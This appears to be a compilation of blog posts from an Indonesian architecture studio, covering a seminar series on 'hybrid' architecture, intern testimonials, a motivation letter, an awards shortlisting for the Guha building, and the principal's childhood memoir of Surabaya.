Lingkungan fisik bagi kemanusiaan hari-hari ini dihadapkan pada fenomena baru yaitu bagaimana manusia menjalani dinamika secara hybrid antara yang fisik dan digital, antara yang buatan dan alami. Disrupsi ini menyebabkan interaksi antar manusia mengalami perubahan karena antar manusia tidak lagi bergantung pada yang fisik. Untuk menggiatkan peran arsitektur, kami mengangkat isu arsitektur sebagai sebuah relasi yang bersifat hibrid (hybrid). Bagaimana pengembangan pengetahuan dan metode perancangan yang dapat menanggapi relasi ini?
Berdasarkan latar belakang pemikiran di atas, Kelas Teori Arsitektur Lanjut 1212 Prodi Arsitektur yang diselenggarakan semester ini akan mengusung sebuah tema yang dapat merangkai berbagai fenomena yang berlangsung pada arsitektur, sebagai sebuah ilmu, praktek dan pemberi pengaruh pada kondisi sosial yang lebih luas. Terminologi bagi tema yang dianggap dapat memayungi latar belakang ini adalah: Theoretical Hybrid. Payung tema ini kemudian akan melalui proses penjelajahan dan pendalaman lebih lanjut dengan topik-topik seperti : Human Hybrid, Historical Hybrid, Digital Hybrid, Cultural Hybrid, Material Hybrid, dan Tectonic Hybrid.
(terbuka untuk umum, dengan bergabung WAG bagi keperluan reminder dan distribusi Zoom links seperti pada QR code)
Seri Seminar Arsitektur dengan rangkaian jadwal dan pembicara sbb:
Theoretical Hybrid : Dr. Undi Gunawan. S.T., M.T. Human Hybrid : Altrerosje Asri, S.T, M.T Historical Hybrid : Dr. Johanes Adiyanto, S.T, M.T Cultural Hybrid : I Nyoman Gede Maha Putra, S.T., M. Sc., PhD. Digital Hybrid : Rizal Muslimin S.T., M.Arch., PhD. Tectonic Hybrid : Realrich Sjarief, ST. MUDD. IAI Material Hybrid : Ir. Eko Prawoto. M.Arch, IAI. Panel Discussion : Para Panelis
Berlangsung pada Senin pada tanggal yang ditentukan di atas; jam 13-00-15:30. Kapasitas Zoom 100 orang. Terbuka untuk civitas akademia UPH-Arsitektur dan publik. Tidak disediakan sertifikat. Tidak tersedia live-stream.
Kelas Teori Arsitektur Lanjut 1212 UPH Arsitektur is inviting you to a scheduled Zoom meeting.
Topic: Intro to Theoretical Hybrid – TAL1212 – UPH Arsitektur Time: Jan 24, 2022 13:00 Jakarta
Firstly, I really want to take a part and give my best strength to the amazing team and architecture that RAW’s built. Personally I am amazed and have studied some of RAW’s works through books, online publications and social media, especially when I visited and directly enjoyed The Guild and Alfa Omega schools. For me, studying architecture is about curiosity and questions, of course this is very fun and challenging, but it’s time for that challenge to no longer come from something fictitious like a problem in the studio. This thought arose because I felt that I really did not understand the world of architecture when working in the field directly. from there I realized that architecture must be learned from it’s experts; I want to get the right place and mentor to improve the quality and professionalism of myself and the architecture that I will build in the future. And I believe that RAW architecture will give me just that and more experiences that I never expected before.
When Yann Follain asked me to join him in Making of Architecture TAB Series 2, I looked at several other presenters such as Goy Architects, Ply Studio Architects, and Chat Architects. They discuss the discourse of making in their regions. Some of them have even done cross-regional lessons in their architectural project. I had in my mind to reinterpret the word discussed in LSAI (Lembaga Sejarah Arsitektur Indonesia) at the beginning of the year. That word is “decolonization architecture.” These complex layers that enrichen Indonesia’s Architecture resulted from a hybrid architecture.
.
Critical and creative analysis. It’s part of unitizing materials of projects, wisdom, knowledge, and an open attitude to become one language of hybridization in RAW Architecture as case studies. I started the presentation by discussing rhythm 0 by Marina Abramović, and she did the art performance of letting people do something without doing anything. She left the act almost naked. That shows what happens if we stay silent, give up, and remain passive. That includes the condition of the colonization era and how the political affects architecture.
. It’s a reflection that will elaborate on the study and transformation of vernacular and traditional roots in creating a Hybrid Indonesian Architecture. I believe that architects, in this case, “we” have territory, cultures, political and economic systems built from vernacular tectonics, method (Design-Thinking), and craftmanship (Design Making). The hybridization of these systems can inform the development of a new approach to architecture, deep-rooted in the rich understanding of local crafts and contexts. This condition paves the way for a process of ‘Decolonisation,’ marking a “cultural, psychological, and economic freedom” practiced by humanity to achieve Indigenous Sovereignty — the right and ability of architects to practice self-determination through collaborations with society.
. So this is an attempt to put RAW Architecture, DOT Workshop, Omah Library in the act of reflections as activists to move on our limitations in one short presentation and discussion with Yann Follain. He is the curator of this TAB series and principal of Wy -To architects.
.
Here are the list sent by Yann Follain,
Q3 #07, Goy Architects :
Q3 #08, Ply Studio Architects :
Q3 #09, CHAT Architects :
Please look at the other talks done by such great intellects that I admire.
Hello! My name is Gabriela Marcelina, but everyone usually calls me Gaby. I’m in the seventh semester of my architecture studies at Petra Christian University. I come from Surabaya, and from birth to age 21 always “played” not far from Surabaya. In the middle of 2021, I, who had become interested in architecture, decided to step outside of my comfort zone to explore and learn more about architecture by doing an internship at RAW architecture. Long story short, when I first started studying architecture, I didn’t really understand what architecture was, “What did I learn? What brought me here?”.
Until, finally, in the 3rd semester, I began to gain a better understanding of what architecture is and why architects are needed. I recall it vividly. It was the start of the 3rd semester, and we were given a task to design a multi-mass restaurant. At the time, my thought was, “Well, it’s gonna be fun; I can design a restaurant however I want.” But, over time, throughout the tutoring process, I was taught that it is essential to design a building that is not only of our own volition (the designer) but also one that can “please” its residents or visitors. Later, I was asked by my tutor to do a personal analysis of the human programmatic study, which at that time I did not understand the purposes, “what for? There’s already on Neufert’s book.” Until as time goes by, and when I entered the designing process, I just understood the purpose of my tutor telling me to do programmatic analysis, which helped me realize that I can’t only make visually beautiful buildings. But, it is also necessary to create buildings that can make the residents or visitors feel comfortable and safe by studying their behavior.
Through the knowledge that I got, I am very grateful because it has helped me become a more critical, detailed person who thinks holistically, both in the design process during studio projects in school or in competition, and in daily life. Also through lessons during my studies in school about behavioral, biophilic, and sustainability, I become concerned and interested in people, nature, space, existence, and the future. Since there are many processes that I go through while studying architecture in school, I become more “hungry” for architectural knowledge that occurs in real life. “What does the real-life architecture look like?”. This question has been in my head a lot since I was in school. Therefore, to answer the curiosity that has been suppressed for too long, I finally got up the courage and decided to go through the internship at RAW Architecture.
One of the best decisions I’ve ever made was to apply for an internship at RAW Architecture. I’d like to express my gratitude for giving me the opportunity to join the RAW Architecture family. When it comes to applying to RAW, one of my main goals is to learn. Until, finally, during my internship, what I learned about architecture in RAW far exceeded my expectations. I was very guided in learning about real-life architecture in RAW. Every time I get a new assignment, I am very delighted because every time I completed the task, I gain a lot of insight and knowledge that at first appears to be very unfamiliar to my ear. Every day in the studio, I will definitely hear, understand, and learn new vocabulary about architecture and drawing techniques that I have never known before. Aside from learning about architecture through RAW, I also often get insights about life, which help me to develop and grow into a better person.
Through this testimony, I would also like to thank:
1. Kak Rich is always willing to share his knowledge and insights with others. For example, Kak Rich always gives us much insight about hard skills or soft skill tips related to the studio project every Monday meeting. He also always encourages us to learn writing, and one time he’s willing to teach us about communication skills despite his busy schedule. Also thanks to the presence of Kak Rich, who is always humble and appreciates both the small and big things, the studio environment becomes very friendly, cool, and fun.
2. Kak Timbul, Kak Vivi, Kak Alim, Kak Rico, Kak Riyan, Kak Pandu, Kak Tyo, Kak Haykal, Kak Vyan, Kak Khafid, Kak Mei-Mei, and Kak Fina, who have always been willing to take time out of their busy schedules to teach me about architecture, software, as well as life lessons and many more. Thank you for always sharing with me life insights, always being happy to answer every question that I had about my studies in school when I was confused, always making me laugh with their hilarious jokes, always giving valuable advice, and never making me feel left out.
3. My internship friends, Celine, Neilson, and Kak Ubi, who are always willing to help and teach me whenever I’m unsure and confused about something and are very fun to talk to.
4. The other members of RAW Architecture, are always friendly to me and never make me feel excluded while in RAW.
Lastly, I’m extremely happy and grateful to be a part of the RAW Architecture family. Even though I am currently far away from my family, I feel very happy to have a new family in Jakarta who is willing to accept me, guide me from zero, and always wholeheartedly give me a bunch of knowledge. Surely, all of my experiences and memories in RAW architecture will definitely be remembered fondly in my heart. RAW architecture is indeed the best office ever! ^^
Gaby’s Birthday
Sudah 7 bulan gaby bertapa di guha. mempelajari dinamika dan menerapkan nya di gua nya sendiri. sehingga terus berlatih tanpa henti hingga ahli tanpa di sadari. tidak mudah untuk tetap mencair dengan keaadaan dan bisa menempatkan diri hingga tak nampak dinding pemisah antara internship dengan keadaan sekitar. gabriella yang biasa di panggil gaby kemarin berulang tahun di guha dan ulang tahun pertama ketika jauh dari orang tua nya.
seperti biasa budaya di guha, memberikan refleksi diri dan harapan di umur 22. menurut Millie Ellen umur 22 itu peralihan antara teenager ke adult yang mana bebas melakukan hal yang mau di lakukan terlepas dari ketakutan yang akan di hadapi. merurut Talyor Swift, umur 22 itu senang, bebas, dan bingung di waktu yang sama.
kita semua berharap dengan acara ini, ekosistem Guha selalu mengalirkan hal hal positif dari hulu ke hilir
Video : Muhammad Farhan Nashrullah Visual Art : Lu’Luil Ma’nun Backsound Java Undercover by Framelens Audiovisual
I will give workshop and sharing in Taylor University Malaysia. It’s first session for my being adjunct associate professor in there. I received invitation by Veronica Ng for the vision to share similar / contextual inspirations in South East Asia Region to redefine our own asian heritage.
Here is the explanation for the session.
Craftsmanship is the art of making, which involves traditional and industrial techniques. It is implemented and synthesized by people from multidisciplinary fields such as makers, engineers, design specialists, or even master artisans. The boundary between what architects did and what the other discipline is precise. The next question is, Is the implementation of craftsmanship that clear? The presentation will share an unorthodox view about making architecture from the importance of the craftsman guild, a workshop area for experimenting, extending to an ecosystem of builders that support the architect. The guild in the project also has memories that became grammar. It’s designed for the experimentation itself and, last but not least, for the clients that support you.
For the executions, some preparations are needed, such as grammar, drawing, critical thinking, creativity on-site to achieve a healthy ecosystem for making architecture. It’s about know-how on joineries and deconstructing dimensional mind that using the available material and adaptive technique is the forefront runner for architecture ecosystems that create the diversity of architecture.
The sharing sesion will be 25th October 2021 at 02.30 pm
Saya seringkali berpikir, di dalam segala hal yang di sekitar kita yang penuh batasan. Bagaimana caranya mengetahui titik kelemahan diri kita sendiri ? Segala sesuatu yang jadi kekuatan biasanya adalah kelemahannya sendiri. Segala sesuatu yang jadi kekuatan bisa jadi kekuatannya. Lalu bagaimana caranya mengetahui kekuatan dan kelemahan, supaya keduanya bisa saling berdialog.
Saya akan mulai dengan preposisi :
If you care about only your name, the limit is in the name itself.
If you care only about other people’s name the limit is in the other’s people name in your mind.
If you care about only your workshop, the limit is in the workshop itself
If you care about only your progress in Guha, the limit is in the Guha itself
If you care about introversion of yourself, the limit is in the introversion of yourself.
Saya sering bilang,
“saya tidak peduli, kalau…”
lalu kemudian saya menimpali kalimat selanjutnya dengan,
“Kak Rich minta maaf kalau tidak peduli. Kita perlu sadar bahwa…”
Yang membuat saya tersenyum adalah seringkali asisten saya, tidak mendengarkan sampai selesai, jadi dia mengambil kesimpulan kalau saya benar – benar tidak peduli, padahal saya menunjukkan kepedulian saya dengan mengatakan saya tidak peduli supaya munculnya kesadaran kolektif. Barulah mereka kasak – kusuk, berdesas – desus, dan apalagi sampai berdiskusi akan kejadian tersebut. Ditambah lagi seringkali, saya menimpalinya lagi dengan kenapa saya menjelaskan saya tidak peduli adalah sisi emosional manusia yang sedang keluar untuk mengharapkan adanya perubahan dengan lebih cepat.
Dan kenapa kita perlu berubah dengan cepat, dan perlu tidak perlunya merubah dengan cepat. Kemudian saya menjelaskan bahwa saya perlu meminta maaf karena kecepatan itu saya anggap begitu karena hidup ini hanya satu kali, namun hal itu juga menjadi batasan yang baru, pertanyaannya, kalau memang hidup hanya sekali, lalu kenapa harus cepat – cepat atau terbirit – birit ?
Pada akhirnya saya belajar bahwa melambatkan ritme itu penting, mempercepat ritme juga penting. Terkadang sisi lontaran emosi unutk tidak peduli itu penting bukan menunjukkan ketidak pedulian, namun justru sebaliknya, dan juga lontaran emosi menjadi peduli itu penting. Keduanya adalah cerminan emosional sesaat yang terkadang menjadi tidak emosional juga tidak kalah pentingnya.
Yang menjadi menarik adalah bagaimana caranya mengintegrasikan berbagai macam hal ? yang juga menarik adalah juga bagaimana menjalani kedua kutub kiri dan kanan, positif dan negatif, bisnis dan berbagi, diri sendiri dan orang lain, personal juga komunal secara bersamaan. Dan pergulatan sisi – sisi kontradiktif tersebut menghasilkan rekonsiliasi pemikiran yang mencengangkan, dan maha dahsyat, ledakan kreatifitas dengan mengetahui batas diri.
Namun sebelum kita masuk kesitu, saya ingin berbagi satu cerita mengenai latar belakang kontradiksi tersebut.
Saya punya cerita, dulu waktu di Surabaya saya sering pulang sekolah bersama ibu saya naik becak. Hal yang saya damba – dambakan adalah perjalanan naik becak itu, karena saya bisa melihat lebih lambat bagaimana orang berinteraksi. Kami melewati pasar, jalan – jalan tanah, dan rumah – rumah petak. Biasanya kami naik becak berdua, adik saya kalau tidak salah masih kecil dan saya masih TK pada saat itu.
Perjalanan itu memiliki beberapa kemungkinan. Saya tidak pernah bilang apapun ke ibu saya bahwa yang saya inginkan dan saya suka adalah perjalanan melalui kuburan Kembang Kuning.
Kami melintas area kuburan itu untuk mendapatkan jalan pintas. Saya ingat, melintasi kuburan itu adalah perjalanan sekitar 5 menit. Dari kejauhan, saya merasakan udara menjadi dingin, wewangian bunga mulai semerbak, dan warna – warni tanaman mulai muncul. Saya melihat pedestal kuburan yang kokoh, repetitif, beraneka rupa, dan indah – indah. Ada yang terbuat dari granit, ataupun marmer, ada juga yang dari kayu. Lebar jalan kuburan itu hanya sekitar 2.5 m, dan ada saja yang tidak rata. Kadang – kadang kepala saya terantuk kepala ibu saya ataupun besi becak, tapi selalu saya berdiri kembali untuk melihat suasana kuburan, menghirup udara yang wangi, dan merasakan dinginnya kuburan tersebut. Saya melihat bunga – bunga bougenville , dan wanginya harum, saya suka sekali dengan bunga kenanga. Padahal banyak orang bilang itu bunga orang mati.
Kelewat senangnya kalau lewat kuburan, saya selalu ada di depan becak sedepan – depannya untuk menghirup udara wangi kuburan. Ibu saya suka bilang “Kamu ngapain sih ? kaya anak kampung aja.” Belum lagi beliau kadang – kadang geli sendiri, kalau melihat saya suka makan pakai tangan, ataupun jalan tidak memakai sandal. Saya suka dengan hal – hal yang langsung, karena dari situ saya merasakan sentuhan, kehangatan, wewangian meskipun lucunya hal itu dianggap aneh oleh ibu saya.
Perjalanan saya praktik juga sama, ada hal yang saya suka, selalu saya ulang – ulang. Hal tersebut muncul karena saya merasakan keterhubungan langsung, emosional, dan personal. Saya mencoba membayangkan apa jadinya ya kalau bentuk ini begini dan begitu. Lebih lanjut lagi saya membayangkan apa jadinya ya, kalau orang ini merasakan ini dan itu. Ini dan itu, begini dan begitu, menjadi reka ruka, olah bentuk, berdasarkan pertimbangan – pertimbangan yang menerus. Inti dasarnya adalah kejujuran dalam berproses, membuka telinga tanpa harus terbawa arus juga. Begitu banyak kata – kata positif yang membangun kita, dan juga banyak juga kata – kata negatif yang bisa juga membangun kita asalkan pikiran kita bisa merubah yang negatif tersebut menjadi positif. Dan hal tersebut adalah sebuah proses untuk memahami diri kita sendiri. Dan satu hal yang terpenting yang saya pelajari adalah bagaimana menjadi satu kata
“Jujur akan diri sendiri.” kata – kata ibu saya adalah doa, ia tertawa melihat saya yang sungguh aneh, dan hal tersebut adalah pemaknaan tersendiri. Namun perasaan jujur tersebut adalah titik tengah sebelum pikiran kita bisa bermain dengan kutub – kutub ekstrim selanjutnya.
Di dalam arsitektur hal ini disebut juxtaposition, memperbandingkan dan mengintegrasikan kedua hal dengan ekstrim. Hal ini menghasilkan hasil yang hibrida. Pemikiran hal – hal seperti tidak ada yang baru di dunia ini, juga tidaklah benar seluruhnya, dan pemikiran bahwa ide dasar itu selalu orisinal juga tidaklah benar seluruhnya. Dan pertanyaan lebih mendasar, apa sih yang benar itu ? ataukah bukan masalah kebenaran ? tapi bagaimana saya paham mengenai batasan diri saya sendiri.
Dan kemudian, barulah kita bisa mengambil kesimpulan,
“saya cukup”
Di tengah – tengah Plato dan Aristoteles ada anak – anak dengan wujud kecil, berbaju putih yang menengahi mereka berdua ketika berdialog. Wujudnya lebih kecil dari lubang telinga, lubang hidung, dan lubang- lubang yang lain. Ia menyapa,
“hallo, namaku Kronos, sang penjaga semesta aku penjaga waktu, jembatan alfa dan omega ! cukup atau tidak cukup waktumu, kita cukupkan.”
Perkenalkan nama saya Lu’luil Ma’nun, bisa dipanggil Luluk. Waktu awal semester masa kuliah di Arsitektur UII (Universitas Islam Indonesia) saya sangat tertarik pada dunia Arsitektur, maket saya sering terpilih untuk dipresentasikan, kalau kata teman-teman saya karya saya selalu nyeleneh dan khas. Namun di pertengahan semester setelah mulai menggunakan tekhnolgi saya mulai redup dan down di semester 6, hampir ingin off dari Arsitektur. Beruntungnya saya menceritakan hal ini kepada Dosen saya bapak Yulianto Prihatmaji (Beliau salah satu dosen yang sangat saya kagumi – karena kepribadian dan kontribusinya di dunia sosial Arsitektur). Beliau memperkenalkan saya pada dunianya terkait mendesain desa wisata, saya mulai diajak terlibat ke proyek -proyek beliau. Dan dititik ini saya mulai jatuh cinta lagi pada dunia arsitektur.
Waktu kuliah saya adalah aktivis dakwah (Takmir Masjid Ulil Albab, UII) sehingga relasi saya adalah kalangan orang-orang sosial dan banyak terlibat pada aktivitas sosial. Waktu terus berjalan, menginjak semester 8-14, saya berkutat dengan skripsi saya, saya kebingungan untuk mengerjakannya dan terjebak dianalisis sehingga saya tidak memulai – mulai untuk mendesain. Sampai akhirnya karena 3 semester belum selesai-selesai (Karena saya anaknya tidak bisa berdiam diri, otak saya terus menerus menemukan ide-ide, walaupun kadang bukan ide-ide arsitektur, dan fisik saya selalu ingin berkelana dan mengetaui banyak hal, walaupun kadang bukan di bidang arsitektur). Saya tidak terlalu paham apa itu metodologi design, tulisan saya juga tidak terlalu baik, dll. Karena saya jarang membaca dan tidak terlalu bisa berbahasa inggris. Tapi yang saya selalu pegang adalah saya ingin melakukannya dengan terbaik, punya tujuan yang jelas serta bisa langsung bermanfaat.
Saat skripsi saya memegang 1 proyek nyata sambil skripsi, yaitu Indonesia Mining Education Park di Yogyakarta. Namun hal ini membuat dosen saya marah, karena saya tidak terlalu produktif di skripsi saya. Sehingga beliau memberikan saya hukuman untuk setiap hari harus mengerjakan diruangan beliau dari jam 7 pagi sampai jam 4 sore (setiap hari kecuali hari minggu) – tapi karena saya benar-benar mau belajar saya ikuti saran beliau sampai hari minggu pun saya datang sesuai jam dan mengerjakan ditaman kampus dan Alhamdulillah saya bisa lulus. Namun diawal-awal itu semua tidak bisa saya terima, “kenapa saya harus mengerjakannya disana, kenapa saya harus dihukum seperti ini dll, sedangkan teman-teman yang lain bisa mengerjakan dimana saja, kadang di studio dan kadang di luar”. Saya agak bergejolak waktu itu dan akhirnya saya mulai mencari motivasi eksternal “Bagaimana sebenarnya seorang Arsitek ?, apa yang salah dari saya ? apa yang harus saya lakukan sekarang ?”, dan saya mulai membuka-muka youtube, melihat profil-profil arsitek dan kisah-kisahnya.
Dari sekian banyak video di youtube yang saya tonton, saya hanya tertarik kepada video bapak yang tentang “Memakai baju seperti professional arsitek sejak kuliah dan menjadi orang terakhir yang menutup pintu”, menurut saya itu adalah nasehat-nasehat yang sangat deep. Disitu saya mulai mengikuti perjalanan bapak. Dan saya kagum, namun rasanya terlalu jauh untuk bisa bergabung. Karena background arsitektur saya tidak terlalu bagus. Akhirnya semangat saya kembali, saya mulai membayangkan hari-hari saya sebagai seorang arsitek yang menikmati waktu disiplin saya. Saya mulai membaca, menulis dan mendesain skripsi saya dengan fokus. Saya mencari orang yang benar-benar membutuhkan jasa desain, karena saya ingin setelah skripsi saya selesai desain saya bisa berguna. Singkat cerita saya bertemu mas Azwir Nazar ketua PPI dunia pada waktu itu, beliau punya tanah wakaf dan yayasan. Beliau mencari di instagram seseorang yang bisa membantu beliau menggambar dan tanpa pikir panjang saya langsung ajukan sebagai skripsi saya dan saya terbang ke Aceh dengan uang pribadi saya, walaupun pada saat itu saya pinjam uangnya. Tapi saya bahagia melakukannya. Dan akhirnya skripsi saya selesai dan mereka menggunakan gambar saya yang apa adanya untuk mencari investor/dana. Setelah lulus kuliah, saya menggantikan teman saya bekerja di MK Arsitek Yogya, saya coba membuat desain rumah. Setelah mereka melihat hasilnya mereka menolak saya. Saat itu saya down lagi dan saya mengalihkan diri dari dunia arsitektur. saya merasa butuh pengetahuan bisnis, butuh pengetahuan digital marketing dll untuk mensupport kehidupan saya dan mendukung dunia arsitektur saya suatu saat nanti. Saya jadi fotografer, video grafer, guru les privat desain grafis, penitipan barang dan yang terakhir saya bergabung di tempat fashion untuk membuat pola. Tiga bulan berjalan di tempat fashion itu saya mulai merasa ada gejolak, bahwa saya tidak seharusnya ada disini, saya dibutuhkan sebagai arsitek, saya harus kembali ke dunia saya (karena tiba-tiba client berdatangan kepada saya, yang saat ini masih menjadi project yang belum selesai/masih saya kerjakan). Di titik ini saya sadar bahwa saya sangat-sangat mencintai dunia aritektur. Tapi saya sadar saya butuh belajar kepada seorang arsitek.
Saya berusaha mengumpulkan kedisplinan saya seperti sejak mengerjakan skripsi sebagai arsitek dan mencoba mendesain. Namun otak saya terus menerus berfikir dan menghasilkan ide-ide, sehingga saya ingin membuat platform “Self Development Architect”, sehingga orang-orang yang seperti saya, yang belum terlalu kompeten di dunia arsitektur bisa percaya diri, belajar dan mulai berkontribusi. Dan karena client yang masuk ke saya rata-rata adalah orang-orang yang baru ingin mencari dana untuk membangun, saya terpikir membuat program Crowdsourcing design. Di titik ini juga saya melihat informasi Darah Muda Omah Library. Sehingga saya merasa ada teman dan saya ingin benar-benar bergabung dan terus belajar. Karena saya sadar karena saya masih penuh keterbatasan, saya butuh belajar, saya butuh berjuang sesama-sama orang-orang yang satu value. Saya berdo’a kepada Allah agar dipertemukan dengan orang-orang yang satu value, mereka menerima saya, dan saya bisa belajar dan berjuang bersama dengan mereka. Dan akhirnya saya terpikirkan, Pak Realrich Sjarief dan Omah Library sebagai tempat saya belajar dan berjuang. Walaupun dalam bayangan saya rasanya tidak mungkin, karena pasti qualifikasi saya sebagai arsitek sangat kurang. Tapi selalu ada dorongan di hati saya untuk mencoba Karena saya bersungguh-sungguh dan melihat value yang sama. Sampai pada akhirnya saya DM Pak Realrich Sjarief dan sampai pada saat ini saya menulis motivation letter saya.
Terimakasih sudah membaca motivation letter saya Pak, yang saya buat dengan penuh semangat, walaupun mungkin masih banyak kekurangan.
Hormat saya, Lu’luil Ma’nun
Notes :
Maaf atas tulisan eyd saya yang belum baik.
Self Development Architect yang saya bayangkan seperti di instagram @socialkreatif tapi versi Arsitektur dan saya memulainya di @betseenarsi (All of thing bertween Arsitektur and Site)
Saya ingin mengarahkan otak saya selalu tidak pernah berhenti mengeluarkan ide-ide ditempat yang tepat.
Saya suka membaca berulang-ulang buku “The Secret of Architect’s Life ”
saya baru mulai benar-benar memahami apa itu skripsi setelah membaca buku “Methodgram”
Guha is shortlisted in the Dezeen Awards 2021 in business category ^^ Guha is a craftsman organic laboratory. It’s a building based on the transformation of experimentation of multiple materials.
Thank you for Dezeen, and we are together with Sanya Farm Lab by CLOUD Architects, FRizz23 by Deadline Architects, Imatra Electricity Substation by Virkkunen & Co. Architects, and Nodi by White Akitekter. They are great architects that we admire and learn from (their framework, design approach, detail, and many more).
After this, it’s a public vote ^^. Hopefully the process of transformation in Guha will always bring in-depth learning for us that can be shared to other people.
Guha by RAW architecture has been shortlisted in the business building category of Dezeen Awards 2021. RAW Architecture has designed Guha to accommodate offices, architecture studios, and dental clinics.
RAW Architecture implements a sustainable design approach in an effort to contribute to human and environmental sustainability by reducing carbon footprints. Departing from the context of the tropical climate in Indonesia with high rainfall and sunlight intensity, the space is designed to be responsive to the climate.
This is manifested in the layout of mass and space-oriented to the path of the sun, while the skin plays a role in reducing sunlight as well as air circulation. It is also supported by details through craftsmanship-making processes.
This project has been shortlisted in the business building category of Dezeen Awards 2021.
Looking back, I was born in Surabaya, near the poor slum area where there were crazy people, prostitutes, and the gap between rich and poor. Our family lived on Jalan Dukuh Kupang Timur gang 13 no. 75. I grew up and played in several alleys adjacent to Dolly’s Gang, which signifies the gap between a paradoxical iceberg phenomenon related to the necessities of life and the city’s identity.
I met one kid named Hamid every day, and he is a crazy toddler. Every time I pass him, I look at his genuine behavior such as running while showing arm-pit, laughing a lot unpretentiously, and always half-naked, walking without clothes. I asked my mother, who is Hamid. I found out that he came from a low-income family, his father and mother had many children, and his home is beside my grandmother’s home. I enjoyed it when I saw him, and it looked like he found his inner joy even though other people couldn’t understand him. He has a smile on his face, and I smile because of that. His smile is contagious, and my mother used to say,
“are you crazy? stop smiling and daydreaming.”
My father worked in Jakarta, and my mother, me, and three brothers were in Surabaya.
My father comes home once a week. The trip to pick up my father at the airport along with my mother is a lasting memory. We made The journey to Juanda airport at night. Usually, my father lands at 19:30, my mother drives, and we pass Waru, where rice fields stretch on the dark horizon. The journey was quiet, and we listened to the only sound of church songs set in a red civic car.
This red civic car is quite an impression because this is my father’s first car where he gave this car to my mother in Surabaya, while my father himself used a green used Kijang in Jakarta. It’s a pickup car. The pickup often gets hit and crashes because the driver is also a beginner or an impromptu driver, my father’s handyman. Uniquely, the green deer has an air conditioner that is colder than my mother’s honda civic. As if some futuristic junk, my dad didn’t have enough of one. He had two.
Our house in Dukuh Kupang consists of two plots, and each property has its access road. The left lot has garage door access with doors made of stainless steel pipes. At the same time, the right plot has one height with a canopy of thin iron plates, which is the entrance to the main house, while on the left, there is a small building plan field on the perimeter of the building. On this side, there is a small workshop, in which there is a chicken coop, craftsmanship tools such as saws, chisels, hammers, nails, or used plywood boards.
I was lucky because my mother was super busy at that time. She was active in the catholic group. When I was six years old, she cooked cookies to sell and loved to go to prayer groups. She is a busy person. My mother likes to bake cakes to give or sell to people. She is pretty independent and firm in educating us, four sons. I know that our mother and father are always busy. I always like to accompany my mother for prayers or gatherings with church gatherings. While my mother was super busy, I had my own time in the workshop. I adored my father’s trace in the workshop, not because I saw his work or how he was working but simply because of the experiments he allowed me to do, and he always encouraged us to build our stuff. This workshop is where I make my wooden sword. One time, I created my sword using plywood. I used a saw to cut the plywood and make my toy. I get a feeling that we can make things by ourselves, even though it’s probably not perfect if seen by others, but it was perfect for me. I was proud of my toy.
Our residence is also adjacent to the carpenter’s house. From the front, you can see people passing by, and the workshop is always busy. Every time I pass the carpenter, I see piles of doors and wood – used wood. I just found out that Mr. Pardi, the head of the workshop, is a confidant of my father, who helped him make the doors for his project. Every year my mother and father always held a big meal celebration. All the chief craftsmen and their deputies will be present. The event was about chatting until the morning, including drinking events that have become their tradition. It’s an act of gratefulness celebrating the spirit of togetherness. It’s started by my grand father.
Our residence is also adjacent to the carpenter’s house. From the front, you can see people passing by, and the workshop is always busy. Every time I pass the carpenter, I see piles of doors and wood – used wood. I just found out that Mr. Pardi, the head of the workshop, is a confidant of my father, who helped him make the doors for his project. Every year my mother and father always held a big meal celebration. All the chief craftsmen and their deputies will be present. The event was about chatting until the morning, including drinking events that have become their tradition. It’s an act of gratefulness celebrating the spirit of togetherness. It’s started by my grand father.
One time my father invited us to Jakarta, we stopped at my father’s boarding house. The room was small but warm. There my mother decided to help my father. From there, we plan to move to Jakarta. Leaving Surabaya was not easy. I had fallen in love with my freedom to play in my father’s workshop, chasing chickens, but seeing my father’s face when he landed and showing his face at the arrival gate made me miss. Maybe my mother wanted us to grow up together. I am in 3rd grade, and my little brother is going to kindergarten, my second big brother is in 6th grade, and my first big brother is going to 1st grade of high school. At that time, I was pretty sad that I had a feeling to move, where I already had my comfort zone in Surabaya. I didn’t know what would happen in Jakarta. I missed my playground, workshop, our fantastic house, and activity in praying groups. But I was excited to experience life with my father. I can see him every day, and It must be exciting.
In my father’s legacy
Surabaya
Looking back, I was born in Surabaya, near the poor slum area where there were crazy people, prostitutes, and the gap between rich and poor. Our family lived on Jalan Dukuh Kupang Timur gang 13 no. 75. I grew up and played in several alleys adjacent to Dolly’s Gang, which signifies the gap between a paradoxical iceberg phenomenon related to the necessities of life and the city’s identity.
One time my father invited us to Jakarta, we stopped at my father’s boarding house. The room was small but warm. There my mother decided to help my father. From there, we plan to move to Jakarta. Leaving Surabaya was not easy. I had fallen in love with my freedom to play in my father’s workshop, chasing chickens, but seeing my father’s face when he landed and showing his face at the arrival gate made me miss. Maybe my mother wanted us to grow up together. I am in 3rd grade, and my little brother is going to kindergarten, my second big brother is in 6th grade, and my first big brother is going to 1st grade of high school. At that time, I was pretty sad that I had a feeling to move, where I already had my comfort zone in Surabaya. I didn’t know what would happen in Jakarta. I missed my playground, workshop, our fantastic house, and activity in praying groups. But I was excited to experience life with my father. I can see him every day, and It must be exciting.
on site, playing in beach with family
me drawing in my father’s table
My mom, me, Mondrich, and my dad
My dad and his craftsmen
me and my little brother Mondrich.
I write this to show how I am thankful to my parents that have nurtured me and inspired me. They helped me grow, showing an example and encouraging me always to show my best, focus, be happy, and respect people without expecting somebody to listen while singing and dancing.
“Up front, an educator must set a good example. In the middle or among students, the teacher must create initiatives and ideas. From behind, a teacher must provide encouragement and direction“,
Ing ngarsa sung tulada, Ing madya mangun karsa, Tut wuri handayani.” ― Ki Hajar Dewantara
It took years to redefine the role and responsibility of people in the studio Realrich Architecture Workshop. Below, I have written 4 roles to simplify how we work as a team and my responsibility as principal. These 4 roles are 4 different worlds, the associate designer is a world of techne, a world of architecture methodology grammar. That is the world of a design methodology. The second world is administration which is the world of matters, currency, and reality. It consists of archives and a way to survive. On the other hand, The Librarian and researcher in the world of episteme. It involves theorizing reality and fantasy. And, the last one in the world of phronesis is practical knowledge, which is called the craftsmen world. Below are the pictures of the dream team – Best Office in the World.
Principal Architect
As a principal, I am responsible for designing the vision and implementing the studio’s mission, making initial sketches, or discussing our experiments with the design team and clients. Our studio can develop from detail, materiality, and context understanding because the design is a collaborative process. This is possible in direct coordination with the design team, the associate designers, therefore.
The process of appointing us as an architectural firm is not easy to require. The relative compatibility is shown through a shared vision, a common goal, or simply a common approach. Once the client entrusts the results and process to us, it is the most valuable thing in the world of architecture.
